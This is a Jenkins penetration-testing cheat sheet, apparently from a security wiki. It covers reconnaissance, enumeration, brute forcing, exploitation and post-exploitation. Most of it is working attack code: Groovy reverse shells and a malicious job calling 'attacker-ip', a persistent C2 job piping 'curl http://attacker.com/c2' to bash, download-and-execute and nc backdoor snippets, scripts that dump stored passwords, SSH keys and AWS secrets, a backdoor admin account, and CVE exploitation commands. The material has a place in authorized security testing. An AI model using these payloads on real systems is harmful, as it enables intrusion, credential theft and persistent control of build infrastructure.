Jenkins

Default Ports: 8080 (HTTP), 8443 (HTTPS)

Jenkins is an open-source automation server widely used for continuous integration and continuous delivery (CI/CD). It automates building, testing, and deploying applications. Due to its powerful features including script execution and plugin ecosystem, Jenkins is a high-value target that can lead to complete infrastructure compromise.

Connect

Using Web Browser

Access Jenkins through its web interface for manual testing and interaction.

Basic Web Access

# HTTP access  
http://target.com:8080  
http://192.168.1.100:8080  
  
# HTTPS access  
https://target.com:8443

Common Jenkins Paths

# Common paths  
http://target.com:8080/login  
http://target.com:8080/signup  
http://target.com:8080/dashboard  
http://target.com:8080/manage  
http://target.com:8080/script

Using Jenkins CLI

Use the official Jenkins CLI for automated job management and system interaction.

Download and Setup CLI

# Download Jenkins CLI  
wget http://target.com:8080/jnlpJars/jenkins-cli.jar  
  
# Use CLI (requires authentication)  
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password who-am-i

Job Management

# List jobs  
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password list-jobs  
  
# Build job  
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password build job-name

Using API

Use Jenkins REST API for automated interaction and data extraction.

Basic API Access

# Get Jenkins version  
curl http://target.com:8080/api/json  
  
# With authentication  
curl -u username:API_TOKEN http://target.com:8080/api/json

Job Information

# Get jobs list  
curl -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name]

Recon

Service Detection with Nmap

Use Nmap to identify Jenkins installations and gather initial information:

nmap -p 8080,8443 -sV target.com

Banner Grabbing and Version Detection

Identify Jenkins version and gather system information through various methods.

Version Detection Methods

# Get Jenkins version  
curl -s http://target.com:8080 | grep -i "jenkins"  
  
# From API  
curl -s http://target.com:8080/api/json | jq .  
  
# From headers  
curl -I http://target.com:8080 | grep -i "x-jenkins"  
  
# Version from login page  
curl -s http://target.com:8080/login | grep "Jenkins ver"

Access Script Console

# Script console (if accessible)  
http://target.com:8080/script

Anonymous Access Check

Test if Jenkins allows anonymous access to sensitive areas.

# Check if anonymous access is enabled  
curl -s http://target.com:8080/asynchPeople/  
  
# Check script console  
curl -s http://target.com:8080/script  
  
# Check job creation  
curl -s http://target.com:8080/view/all/newJob  
  
# Check system log  
curl -s http://target.com:8080/log/all

Enumeration

User Enumeration

Discover Jenkins users and authentication mechanisms.

Manual User Discovery

# People directory (if accessible)  
curl http://target.com:8080/asynchPeople/  
  
# User API  
curl http://target.com:8080/user/admin/api/json  
  
# Signup page (check if enabled)  
curl http://target.com:8080/signup

Automated User Enumeration

# Using Metasploit  
use auxiliary/scanner/http/jenkins_enum  
set RHOSTS target.com  
set RPORT 8080  
run

Job Enumeration

Enumerate Jenkins jobs and their configurations to identify potential attack vectors.

Job Discovery

# List all jobs  
curl -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name,url]  
  
# Job details  
curl -u username:API_TOKEN http://target.com:8080/job/job-name/api/json

Build Information

# Build history  
curl -u username:API_TOKEN http://target.com:8080/job/job-name/api/json?tree=builds[number,url]  
  
# Last build console output  
curl -u username:API_TOKEN http://target.com:8080/job/job-name/lastBuild/consoleText

Plugin Enumeration

Identify installed plugins and check for known vulnerabilities.

# List installed plugins  
curl -u username:API_TOKEN http://target.com:8080/pluginManager/api/json?depth=1  
  
# Check for vulnerable plugins  
curl -s http://target.com:8080/pluginManager/installed  
  
# Update center  
curl http://target.com:8080/updateCenter/api/json

Credentials Enumeration

Search for stored credentials and sensitive information in Jenkins.

Credentials Store Access

# Credentials store (requires admin)  
curl -u username:API_TOKEN http://target.com:8080/credentials/  
  
# Check job configurations for credentials  
curl -u username:API_TOKEN http://target.com:8080/job/job-name/config.xml

Search for Sensitive Data

# Search for credentials in build logs  
curl -u username:API_TOKEN http://target.com:8080/job/job-name/lastBuild/consoleText | grep -i "password\|secret\|token"

Node Enumeration

Enumerate Jenkins build nodes and system information.

# List build nodes  
curl -u username:API_TOKEN http://target.com:8080/computer/api/json  
  
# Node details  
curl -u username:API_TOKEN http://target.com:8080/computer/(master)/api/json  
  
# System information  
curl -u username:API_TOKEN http://target.com:8080/systemInfo

Attack Vectors

Default and Weak Credentials

Jenkins installations often use default or weak credentials, especially in development environments.

Common Default Credentials

# Common default/weak credentials  
admin:admin  
jenkins:jenkins  
admin:password  
admin:jenkins  
user:user

Credential Testing

# Try login  
curl -X POST http://target.com:8080/j_acegi_security_check \  
  -d "j_username=admin&j_password=admin" \  
  -v  
  
# Check response for session cookie

Brute Force Attack

Brute forcing Jenkins can reveal weak admin passwords, especially on development instances.

Using Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt \  
  target.com http-post-form \  
  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=loginError"

Using Metasploit

use auxiliary/scanner/http/jenkins_login  
set RHOSTS target.com  
set USERNAME admin  
set PASS_FILE passwords.txt  
run

Using Burp Suite Intruder

# Capture POST to /j_acegi_security_check  
# Set j_password as payload position

Script Console Exploitation

The Jenkins script console allows execution of Groovy code with system privileges, making it a critical attack vector.

Basic Command Execution

// If script console is accessible  
// http://target.com:8080/script  
  
// Command execution  
def cmd = "whoami"  
def sout = new StringBuffer(), serr = new StringBuffer()  
def proc = cmd.execute()  
proc.consumeProcessOutput(sout, serr)  
proc.waitForOrKill(1000)  
println "out> $sout"  
println "err> $serr"

Reverse Shell Payloads

// Reverse shell (Linux)  
String host="attacker-ip";  
int port=4444;  
String cmd="/bin/bash";  
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();  
Socket s=new Socket(host,port);  
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();  
OutputStream po=p.getOutputStream(),so=s.getOutputStream();  
while(!s.isClosed()){  
  while(pi.available()>0)so.write(pi.read());  
  while(pe.available()>0)so.write(pe.read());  
  while(si.available()>0)po.write(si.read());  
  so.flush();po.flush();  
  Thread.sleep(50);  
  try {p.exitValue();break;}catch (Exception e){}  
};  
p.destroy();s.close();  
  
// Windows reverse shell  
String host="attacker-ip";  
int port=4444;  
String cmd="cmd.exe";  
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();  
Socket s=new Socket(host,port);  
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();  
OutputStream po=p.getOutputStream(),so=s.getOutputStream();  
while(!s.isClosed()){  
  while(pi.available()>0)so.write(pi.read());  
  while(pe.available()>0)so.write(pe.read());  
  while(si.available()>0)po.write(si.read());  
  so.flush();po.flush();  
  Thread.sleep(50);  
  try {p.exitValue();break;}catch (Exception e){}  
};  
p.destroy();s.close();

Job Creation and Exploitation

Create malicious Jenkins jobs to execute arbitrary commands on the system.

Create Malicious Job

# Create malicious job via API  
curl -X POST http://target.com:8080/createItem?name=backdoor \  
  -u username:API_TOKEN \  
  --data-binary @job-config.xml \  
  -H "Content-Type: application/xml"

Malicious Job Configuration

# job-config.xml with command execution  
<project>  
  <builders>  
    <hudson.tasks.Shell>  
      <command>bash -i &gt;&amp; /dev/tcp/attacker-ip/4444 0&gt;&amp;1</command>  
    </hudson.tasks.Shell>  
  </builders>  
</project>

Trigger Malicious Build

# Trigger build  
curl -X POST http://target.com:8080/job/backdoor/build \  
  -u username:API_TOKEN

API Token Exploitation

Use Jenkins API tokens for authentication and privilege escalation.

Generate API Token

# Generate API token (requires login)  
curl -X POST http://target.com:8080/user/username/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken \  
  -u username:password \  
  -d "newTokenName=my-token"

Use API Token

# Use API token  
curl -u username:API_TOKEN http://target.com:8080/api/json

CVE Exploitation

Exploit known Jenkins vulnerabilities for system compromise.

Arbitrary File Read (CVE-2024-23897)

# CVE-2024-23897 (Arbitrary File Read)  
# Jenkins < 2.441, < 2.426.3 LTS  
java -jar jenkins-cli.jar -s http://target.com:8080/ help "@/etc/passwd"

Script Security Bypass (CVE-2019-1003000)

# CVE-2019-1003000 (Script Security Sandbox Bypass)  
# Execute arbitrary code via Groovy script

Remote Code Execution (CVE-2018-1000861)

# CVE-2018-1000861 (Stapler Web Framework RCE)  
# Use Metasploit  
use exploit/multi/http/jenkins_metaprogramming  
set RHOSTS target.com  
set RPORT 8080  
run

Plugin Vulnerabilities

Exploit vulnerabilities in Jenkins plugins for additional attack vectors.

# Git plugin - Command injection  
# If Git plugin installed, check for command injection in repository URL  
  
# Script Security plugin bypass  
# Check for groovy script execution points  
  
# Blue Ocean plugin - Path traversal  
# CVE-2024-23898  
curl http://target.com:8080/blue/rest/organizations/jenkins/pipelines/../../credentials/  
  
# Credentials Binding plugin  
# Check if credentials are exposed in build logs

Post-Exploitation

Credentials Harvesting

Extract stored credentials from Jenkins for lateral movement and privilege escalation.

Username/Password Credentials

// Dump all credentials (Script Console)  
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(  
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,  
    Jenkins.instance,  
    null,  
    null  
);  
  
for (c in creds) {  
  println(c.id + ":" + c.username + ":" + c.password);  
}

SSH Key Credentials

// Dump SSH keys  
def  sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(  
    com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,  
    Jenkins.instance,  
    null,  
    null  
);  
  
for (c in sshCreds) {  
  println(c.id + ":" + c.username);  
  println(c.privateKey);  
}

AWS Credentials

// Dump AWS credentials  
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(  
    com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,  
    Jenkins.instance,  
    null,  
    null  
);  
  
for (c in awsCreds) {  
  println("ID: " + c.id);  
  println("Access Key: " + c.accessKey);  
  println("Secret Key: " + c.secretKey);  
}

Persistence

Establish persistent access to Jenkins for long-term control.

Create Backdoor Admin User

// Create backdoor admin user (Script Console)  
def hudsonRealm = new hudson.security.HudsonPrivateSecurityRealm(false)  
hudsonRealm.createAccount("backdoor", "P@ssw0rd123!")  
Jenkins.instance.setSecurityRealm(hudsonRealm)  
def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()  
strategy.setAllowAnonymousRead(false)  
Jenkins.instance.setAuthorizationStrategy(strategy)  
Jenkins.instance.save()

Create Persistent C2 Job

// Create persistent job for C2  
// Job that checks external server for commands  
def jobConfig = """  
<project>  
  <triggers>  
    <hudson.triggers.TimerTrigger>  
      <spec>*/5 * * * *</spec>  
    </hudson.triggers.TimerTrigger>  
  </triggers>  
  <builders>  
    <hudson.tasks.Shell>  
      <command>  
curl http://attacker.com/c2 | bash  
      </command>  
    </hudson.tasks.Shell>  
  </builders>  
</project>  
"""

Lateral Movement

Use Jenkins as a pivot point for network reconnaissance and lateral movement.

Network Discovery

// Enumerate network from Jenkins (Script Console)  
def hosts = []  
for (int i=1; i<255; i++) {  
  try {  
    def addr = InetAddress.getByName("192.168.1." + i)  
    if (addr.isReachable(1000)) {  
      hosts.add(addr.getHostAddress())  
    }  
  } catch (Exception e) {}  
}  
println hosts

Port Scanning

// Port scan  
def scanPorts(String host, List ports) {  
  def open = []  
  ports.each { port ->  
    try {  
      def socket = new Socket()  
      socket.connect(new InetSocketAddress(host, port), 1000)  
      open.add(port)  
      socket.close()  
    } catch (Exception e) {}  
  }  
  return open  
}  
  
def result = scanPorts("192.168.1.100", [22, 80, 443, 3389, 8080])  
println "Open ports: " + result

Source Code and Secret Extraction

Extract source code and sensitive information from Jenkins jobs and builds.

Download Source Code

# Download workspace with source code  
curl -u username:API_TOKEN \  
  http://target.com:8080/job/project/ws/*zip*/ws.zip \  
  -o workspace.zip

Extract Secrets from Build Logs

# Extract secrets from build logs  
for job in $(curl -s -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name] | jq -r '.jobs[].name'); do  
  curl -s -u username:API_TOKEN http://target.com:8080/job/$job/lastBuild/consoleText | \  
    grep -Ei "password|secret|token|key|credential" >> secrets.txt  
done

Analyze Job Configurations

# Download job configurations  
curl -u username:API_TOKEN http://target.com:8080/job/project/config.xml | \  
  grep -Ei "password|secret|credential"

Cloud Infrastructure Access

Use Jenkins-stored cloud credentials to access cloud infrastructure.

// If AWS credentials are configured  
// Use them to access AWS resources  
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(  
    com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,  
    Jenkins.instance,  
    null,  
    null  
)[0]  
  
// Access AWS  
def accessKey = awsCreds.accessKey  
def secretKey = awsCreds.secretKey.plainText  
  
// Now use AWS CLI or SDK with these credentials  
println "export AWS_ACCESS_KEY_ID=" + accessKey  
println "export AWS_SECRET_ACCESS_KEY=" + secretKey

Common Jenkins Paths

Path| Description| Requires Auth
---|---|---
/script| Groovy script console| Yes (admin)
/manage| Manage Jenkins| Yes (admin)
/credentials/| Credentials store| Yes (admin)
/asynchPeople/| User directory| Varies
/systemInfo| System information| Yes
/script| Script console| Yes (admin)
/view/all/newJob| Create job| Yes
/pluginManager/| Plugin management| Yes (admin)
/computer/| Build nodes| Yes
/log/all| System logs| Yes

Useful Groovy Scripts

// List all environment variables  
System.getenv().each { k, v -> println "${k}:${v}" }  
  
// Read file  
println new File('/etc/passwd').text  
  
// Write file  
new File('/tmp/backdoor.sh').write('#!/bin/bash\nnc attacker-ip 4444 -e /bin/bash')  
  
// Execute command and get output  
def proc = "ls -la /".execute()  
println proc.text  
  
// Download and execute  
new URL('http://attacker.com/shell.sh').openStream().eachLine { line ->  
    println line  
}  
"chmod +x /tmp/shell.sh".execute()  
"/tmp/shell.sh".execute()

Useful Tools

Tool| Description| Primary Use Case
---|---|---
jenkins-cli.jar| Official CLI| Job management
curl| HTTP client| API interaction
Burp Suite| Web proxy| Request manipulation
Metasploit| Exploitation framework| Automated exploitation
Nmap| Network scanner| Service detection

Security Misconfigurations to Test

❌ No authentication required
❌ Anonymous read access enabled
❌ Script console accessible without authentication
❌ Default or weak credentials
❌ Signup enabled
❌ Outdated Jenkins version
❌ Vulnerable plugins installed
❌ Credentials stored in job configurations
❌ No HTTPS encryption
❌ CSRF protection disabled
❌ Permissive authorization strategy
❌ Build agents with excessive permissions

Services & Protocols

Web Vulnerabilities

Jenkins Pentesting

Jenkins

Connect​

Using Web Browser​

Basic Web Access​

Common Jenkins Paths​

Using Jenkins CLI​

Download and Setup CLI​

Job Management​

Using API​

Basic API Access​

Job Information​

Recon​

Service Detection with Nmap​

Banner Grabbing and Version Detection​

Version Detection Methods​

Access Script Console​

Anonymous Access Check​

Enumeration​

User Enumeration​

Manual User Discovery​

Automated User Enumeration​

Job Enumeration​

Job Discovery​

Build Information​

Plugin Enumeration​

Credentials Enumeration​

Credentials Store Access​

Search for Sensitive Data​

Node Enumeration​

Attack Vectors​

Default and Weak Credentials​

Common Default Credentials​

Credential Testing​

Brute Force Attack​

Using Hydra​

Using Metasploit​

Using Burp Suite Intruder​

Script Console Exploitation​

Basic Command Execution​

Reverse Shell Payloads​

Job Creation and Exploitation​

Create Malicious Job​

Malicious Job Configuration​

Trigger Malicious Build​

API Token Exploitation​

Generate API Token​

Use API Token​

CVE Exploitation​

Arbitrary File Read (CVE-2024-23897)​

Script Security Bypass (CVE-2019-1003000)​

Remote Code Execution (CVE-2018-1000861)​

Plugin Vulnerabilities​

Post-Exploitation​

Credentials Harvesting​

Username/Password Credentials​

SSH Key Credentials​

AWS Credentials​

Persistence​

Create Backdoor Admin User​

Create Persistent C2 Job​

Lateral Movement​

Network Discovery​

Port Scanning​

Source Code and Secret Extraction​

Download Source Code​

Extract Secrets from Build Logs​

Analyze Job Configurations​

Cloud Infrastructure Access​

Common Jenkins Paths​

Useful Groovy Scripts​

Useful Tools​

Security Misconfigurations to Test​

Connect

Using Web Browser

Basic Web Access

Common Jenkins Paths

Using Jenkins CLI

Download and Setup CLI

Job Management

Using API

Basic API Access

Job Information

Recon

Service Detection with Nmap

Banner Grabbing and Version Detection

Version Detection Methods

Access Script Console

Anonymous Access Check

Enumeration

User Enumeration

Manual User Discovery

Automated User Enumeration

Job Enumeration

Job Discovery

Build Information

Plugin Enumeration

Credentials Enumeration

Credentials Store Access

Search for Sensitive Data

Node Enumeration

Attack Vectors

Default and Weak Credentials

Common Default Credentials

Credential Testing

Brute Force Attack

Using Hydra

Using Metasploit

Using Burp Suite Intruder

Script Console Exploitation

Basic Command Execution

Reverse Shell Payloads

Job Creation and Exploitation

Create Malicious Job

Malicious Job Configuration

Trigger Malicious Build

API Token Exploitation

Generate API Token

Use API Token

CVE Exploitation

Arbitrary File Read (CVE-2024-23897)

Script Security Bypass (CVE-2019-1003000)

Remote Code Execution (CVE-2018-1000861)

Plugin Vulnerabilities

Post-Exploitation

Credentials Harvesting

Username/Password Credentials

SSH Key Credentials

AWS Credentials

Persistence

Create Backdoor Admin User

Create Persistent C2 Job

Lateral Movement

Network Discovery

Port Scanning

Source Code and Secret Extraction

Download Source Code

Extract Secrets from Build Logs

Analyze Job Configurations

Cloud Infrastructure Access

Common Jenkins Paths

Useful Groovy Scripts

Useful Tools

Security Misconfigurations to Test